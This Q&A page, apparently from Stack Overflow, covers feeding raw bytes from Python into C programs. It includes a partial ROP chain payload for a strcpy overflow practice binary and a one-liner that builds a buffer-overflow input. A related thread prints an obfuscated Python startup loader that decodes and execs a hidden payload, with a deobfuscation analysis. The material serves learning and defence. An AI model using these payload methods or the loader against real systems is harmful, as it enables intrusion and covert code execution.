I'm trying to fill a simple buffer in C with an input generated with Python. This is practice for a ROP project. Here's the simple C-code:
#include <string.h>
int main(int argc, char **argv)
{
char buf[128];
strcpy(buf, argv[1]);
}
compiled as: gcc -m32 -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 test.c -o test
my hardware: x86-64, Linux Mint.
Here's part of the python input:
from struct import pack
p = '//bin/sh' #address 0xffffd15c
p += 'A'*28
#null terminate our string
p += pack("<I", 0x0806e67a) # pop edx ; ret
p += pack("<I", 0xffffd163) # # "/bin/sh" + 7
p += pack("<I", 0x080bac56) # pop eax ; ret
p += pack("<I", 0xffffffff) # 0xffffffff, or could xor the instruction
p += pack("<I", 0x0807b0cf) # inc eax ; ret
p += pack("<I", 0x08099fad) # mov dword ptr [edx], eax ; ret
For some reason when I input this as argv[1] the buffer fills correctly up until the last line. Instead of filling the buffer with 0x08099fad, it says 0x00009fad. There's more input to follow this line, but this is where is screws up, causing the rest of the input to be junk (not what I inputed).
For some reason it seems like a null byte was put into strcpy, possibly terminating it prematurely. But I don't know where the null byte is. The same happens when I try to input this address, as well later on: 0x080acedc.
Any thoughts?
Thanks!
I presume you are providing that string as a command-line argument to your C utility. (By the way, test is not a good name for a utility since it is a standard shell function often implemented as a builtin.)
Now suppose you were to invoke your utility from the terminal:
./test some thing
Clearly argv[1] would consist of a four-character word, with another word being placed in argv[2]. Had you wanted the single argument to be the entire rest of the command-line, you would need to quote it:
./test "some thing"
Now, normally when we invoke a utility from a program, we don't actually want the arguments to be interpreted by a shell. We would like to just exec the process with an argv array with the actual argument strings. That way, we don't have to worry about whitespace and shell metacharacters, and tear our hair out trying to correctly quote an arbitrary string.
But for the benefit of masochists, python provides the possibility os specifying shell=True. Even though the manual clearly warns against using this option, and even though people routinely get into trouble using it, it continues to be an oddly popular choice.
By the way, there is no space in your generated program (although their could be). Space is 0x20. But the shell interprets other bytes as whitespace. For example, tab is 0x09. I'll leave it as an exercise to figure out what the consequence of 0x0A is.
Just so someone who searches this for an answer gets actual help.
I encountered the same problem today.
What I found out is, that python itself escapes these characters.
If you write the same program in C it will work.
If you print a var like this:
jmpto = "\xbf\x84\x04\x08"
print(jmpto)
save the output to a file and use a hex editor to view it you will see it actually printed:
"C3 BB C2 84 04 08"
When I instead tried the same with:
jmpto = "\x41\x42\x43\x44"
print(jmpto)
looking at it in a hex editor it printed:
"41 42 43 44"
I sadly don't know a solution as to how to print those characters correctly using python.
Simplest solution seems to be writing it in C.
P.S: #weather-vane, what is the point in shaming someone for being interested to learn how it works underneath the hood?
Security by obscurity (aka not telling so noone finds out) doesn't work.
Someone is gonna break it.
Better show interested white hats how to do it, they might try to fix those problems.
EDIT:
I found the solution to it thanks to someone at Frauenhofer FKIE.
Using sys.stdout.buffer.write(ex_str)
Where ex_str needs to be of type bytes.
First create your string as a bytearray, than cast it to bytes type:
import sys
#convert this Hex Address or Hex ASM Code to int: fb 84 04 08
jmpto = [251, 132, 4, 8]
ex_str = bytes(bytearray(b"A"*(132 + 4)) + bytearray(jmpto))
sys.stdout.buffer.write(ex_str)
You can also use subprocess.call() or subprocess.run() to start the executable and pass it the bytes Object.
Hope someone found this helpful.
Related
Today I realised this .pyw file was added into my startup files.
Though I already deleted it, I suspect what it may have initially done to my computer, but it's sort of encrypted and I am not very familiar with Python, but I assume as this is the source code regardless, there is no actual way to completely encrypt it.
Can someone either guide me through how I can do that, or check it for me?
edit: by the looks of it I can only post some of it here, but it should give brief idea of how it was encrypted:
class Protect():
def __decode__(self:object,_execute:str)->exec:return(None,self._delete(_execute))[0]
def __init__(self:object,_rasputin:str=False,_exit:float=0,*_encode:str,**_bytes:int)->exec:
self._byte,self._decode,_rasputin,self._system,_bytes[_exit],self._delete=lambda _bits:"".join(__import__(self._decode[1]+self._decode[8]+self._decode[13]+self._decode[0]+self._decode[18]+self._decode[2]+self._decode[8]+self._decode[8]).unhexlify(str(_bit)).decode()for _bit in str(_bits).split('/')),exit()if _rasputin else'abcdefghijklmnopqrstuvwxyz0123456789',lambda _rasputin:exit()if self._decode[15]+self._decode[17]+self._decode[8]+self._decode[13]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read() or self._decode[8]+self._decode[13]+self._decode[15]+self._decode[20]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read()else"".join(_rasputin if _rasputin not in self._decode else self._decode[self._decode.index(_rasputin)+1 if self._decode.index(_rasputin)+1<len(self._decode)else 0]for _rasputin in "".join(chr(ord(t)-683867)if t!="ζ"else"\n"for t in self._byte(_rasputin))),lambda _rasputin:str(_bytes[_exit](f"{self._decode[4]+self._decode[-13]+self._decode[4]+self._decode[2]}(''.join(%s),{self._decode[6]+self._decode[11]+self._decode[14]+self._decode[1]+self._decode[0]+self._decode[11]+self._decode[18]}())"%list(_rasputin))).encode(self._decode[20]+self._decode[19]+self._decode[5]+self._decode[34])if _bytes[_exit]==eval else exit(),eval,lambda _exec:self._system(_rasputin(_exec))
return self.__decode__(_bytes[(self._decode[-1]+'_')[-1]+self._decode[18]+self._decode[15]+self._decode[0]+self._decode[17]+self._decode[10]+self._decode[11]+self._decode[4]])
Protect(_rasputin=False,_exit=False,_sparkle='''ceb6/f2a6bdbe/f2a6bdbb/f2a6bf82/f2a6bf83/ceb6/f2a6bdbe/f2a6bdbb/f2a6bf83/f2a6bf80/f2a6bdbb/f2a6bf93/f2a6bf89/f2a6bf8f/f2a6bdbb/f2a6bebe/f2a6bebf/f2a6bf89/f2a6bebc/f2a6bf80/
OBLIGATORY WARNING: The code is pretty obviously hiding something, and it eventually will build a string and exec it as a Python program, so it has full permissions to do anything your user account does on your computer. All of this is to say DO NOT RUN THIS SCRIPT.
The payload for this nasty thing is in that _sparkle string, which you've only posted a prefix of. Once you get past all of the terrible spacing, this program basically builds a new Python program using some silly math and exec's it, using the _sparkle data to do it. It also has some basic protection against you inserting print statements in it (amusingly, those parts are easy to remove). The part you've posted decrypts to two lines of Python comments.
# hi
# if you deobf
Without seeing the rest of the payload, we can't figure out what it was meant to do. But here's a Python function that should reverse-engineer it.
import binascii
# Feed this function the full value of the _sparkle string.
def deobfuscate(data):
decode = 'abcdefghijklmnopqrstuvwxyz0123456789'
r = "".join(binascii.unhexlify(str(x)).decode() for x in str(data).split('/'))
for x in r:
if x == "ζ":
print()
else:
x = chr(ord(x)-683867)
if x in decode:
x = decode[(decode.index(x) + 1) % len(decode)]
print(x, end='')
Each sequence of hex digits between the / is a line. Each two hex digits in the line is treated as a byte and interpreted as UTF-8. The resulting UTF-8 character is then converted to its numerical code point, the magic number 683867 is subtracted from it, and the new number is converted back into a character. Finally, if the character is a letter or number, it's "shifted" once to the right in the decode string, so letters move one forward in the alphabet and numbers increase by one (if it's not a letter/number, then no shift is done). The result, presumably, forms a valid Python program.
From here, you have a few options.
Run the Python script I gave above on the real, full _sparkle string and figure out what the resulting program does yourself.
Run the Python script I gave above on the real, full _sparkle string and post the code in your question so we can decompose that.
Post the full _sparkle string in the question, so I or someone else can decode it.
Wipe the PC to factory settings and move on.
I'm working on a problem which involves performing a buffer overflow on a C program. The program asks for a command line input from the user, and I need to use this input to enter in my byte string including nops, shellcode, ret address, etc. The problem is the c program interprets everything I enter as a literal string, so if I enter in something like "\xff\xab\x12..." the program will interpret each separate character as a different byte. I can enter in separate bytes by creating a string of the corresponding ASCII characters for each byte, but this limits me to hex values 00-7F for my byte values. I'm wondering if there's some way I can use python to enter in the byte string, or possibly format the user input so that the C program interprets it the way I need it to. Please note that I don't know what the return address of the byte string will be until after I start running the program, so I can't make the byte string prior to running the C program I'm working on a Linux x86 shell, and I do not have the source code for the C program.
I've tried calling python to print the string I need into the input using commands like,
$(python -c 'print "\x41" * 205 + "\x34\x86")
but the C program just interprets all these characters literally. I've also tried using extended ASCII characters but the C program doesn't seem to interpret them correctly, associating them all with an unknown character symbol and 0xc3 hex value. Is it possible there is some other character/hex mapping that the C program may be using?
If anyone knows a way I can enter the input the way I need to, your help would be very much appreciated.
thanks
You were missing a semicolon (') in your shell call to python. Additionally:
If your executable takes its input in the form of a CLI argument:
$ ./yourprog $(python -c 'print "\x41" * 205 + "\x34\x86"')
If it takes its input in the form of STDIN:
$ python -c 'print "\x41" * 205 + "\x34\x86"' | ./yourprog
Replace "./yourprog" with the name of your executable.
Trying to hide folder without success. I've found this :
import ctypes
ctypes.windll.kernel32.SetFileAttributesW('G:\Dir\folder1', 2)
but it did not work for me. What am I doing wrong?
There are two things wrong with your code, both having to do with the folder name literal. The SetFileAttributesW() function requires a Unicode string argument. You can specify one of those by prefixing a string with the character u. Secondly, any literal backslash characters in the string will have to be doubled or you could [also] add an r prefix to it. A dual prefix is used in the code immediately below.
import ctypes
FILE_ATTRIBUTE_HIDDEN = 0x02
ret = ctypes.windll.kernel32.SetFileAttributesW(ur'G:\Dir\folder1',
FILE_ATTRIBUTE_HIDDEN)
if ret:
print('attribute set to Hidden')
else: # return code of zero indicates failure -- raise a Windows error
raise ctypes.WinError()
You can find Windows' system error codes here. To see the results of the attribute change in Explorer, make sure its "Show hidden files" option isn't enabled.
To illustrate what #Eryk Sun said in a comment about arranging for the conversion to Unicode from byte strings to happen automatically, you would need to perform the following assignment before calling the function to specify the proper conversion of its arguments. #Eryk Sun also has an explanation for why this isn't the default for pointers-to-strings in the W versions of the WinAPI functions -- see the comments.
ctypes.windll.kernel32.SetFileAttributesW.argtypes = (ctypes.c_wchar_p, ctypes.c_uint32)
Then, after doing that, the following will work (note that an r prefix is still required due to the backslashes):
ret = ctypes.windll.kernel32.SetFileAttributesW(r'G:\Dir\folder1',
FILE_ATTRIBUTE_HIDDEN)
Try this code:
import os
os.system("attrib +h " + "your file name")
I am getting a Broken Pipe error when writing a large quantity of data very fast to a C subprocess.
So I am running a c subprocess from a python script:
process = subprocess.Popen("./gpiopwm", stdin=subprocess.PIPE)
while True:
process.stdin.write("m2000\n")
print "bytes written"
Sectio of main loop of gpiopwm.c:
printf("1\n");
while (1) {
fgets(input,7,stdin); // Takes input from python script
printf("2\n");
numbers = input+1; // stores all but first char of input
char first = input[0]; // stores first char of input
if (first=='m') {
printf("3\n");
printf("%s\n",numbers);
}
}
However, the output from this is as follows:
1
bytes written
Traceback (most recent call last):
File "serial-receive-to-pwm.py", line 20, in <module>
process.stdin.write("m2000\n")
IOError: [Errno 32] Broken pipe
The C program evidently breaks at the fgets line, as 2 is never printed.
What have I done wrong? How can I avoid this?
EDIT:
I've updated the fgets line so that it does not include the dereference argument, but am still getting the broken pipe error.
EDIT:
input is initialized as char *input="m2000";
If you try running your C program from the console, you will see that it crashes. And if you run in a debugger, you will see that it's on this line:
fgets(*input,7,stdin);
It seems like input is a character array, and when you dereference it with *input you are passing not a pointer but a single char value. This leads to undefined behavior and the crash.
That line should have given you if not an error then a very big warning message from the compiler. Don't ignore warning messages, they are often an indicator of you doing something wrong and possibly dangerous.
A general tip: When developing a program that should be called from another program, like you do here, test the program first to make sure it works. If it doesn't work, then fix it first.
A final tip: Remember that fgets includes the newline in the destination string. You might want to check for it and remove it if it's there.
With the last edit, showing the declaration of input we know the real problem: You're trying to modify constant data, and also you want to write beyond the bounds of the data as well.
When you make input point to a literal string, you have to remember that all literal strings are read only, you can not modify a literal string. Trying to do so is undefined behavior. To make it worse, your string is only six characters long, but you try to write seven characters to it.
First change the declaration and initialization of input:
char input[16] = "m2000\n";
This will declare it as an array, located on the stack and that can be modified. Then do
while (fgets(input, sizeof(input), stdin) != NULL) { ... }
This accomplishes two things: First by using sizeof(input) as the size, you can be sure that fgets will never write out of bounds. Secondly, by using the fgets call in the loop condition the loop will end when the Python script is interrupted, and you won't loop forever failing to read anything and then work on data that you've never read.
I am using a ctypes implementation of CreateProcessWithLogonW, and everything works well except I cannot figure out how to handle this section:
A pointer to an environment block for the new process. If this parameter is NULL, the new process uses the environment of the calling process.
An environment block consists of a null-terminated block of null-terminated strings. Each string is in the following form:
name=value\0
To generated the raw string I execute the following:
lpEnvironment = '\0'.join(['%s=%s' % (k, os.environ[k]) for k in os.environ]) + '\0\0'
print lpEnvironment
'XAUTHORITY=/home/username/.Xauthority\x00MUTT_DIR=/home/username/.mutt\x00LASTDIRFILE=/home/username/.lastpwd-geany\x00LOGNAME=username\...\x00\x00'
However run I make a ctypes variable out of it, it truncates the information:
ctypes.c_wchar_p(lpEnvironment)
c_wchar_p(u'XAUTHORITY=/home/username/.Xauthority')
How can I pass the lpEnvironment information correctly?
As far as I can tell, the whole string does get passed across the ctypes boundary correctly in one direction, but gets truncated on the way back.
>>> ctypes.create_string_buffer('abc\0def').value
'abc'
>>> ctypes.create_string_buffer('abc\0def').raw
'abc\x00def'
Unfortunately (at least for me, Python 2.6.5 on Linux) the result of create_unicode_buffer doesn't have a .raw property. However,
>>> ctypes.wstring_at(ctypes.create_unicode_buffer(u'abc\0def), 7)
u'abc\x00def'
works as expected.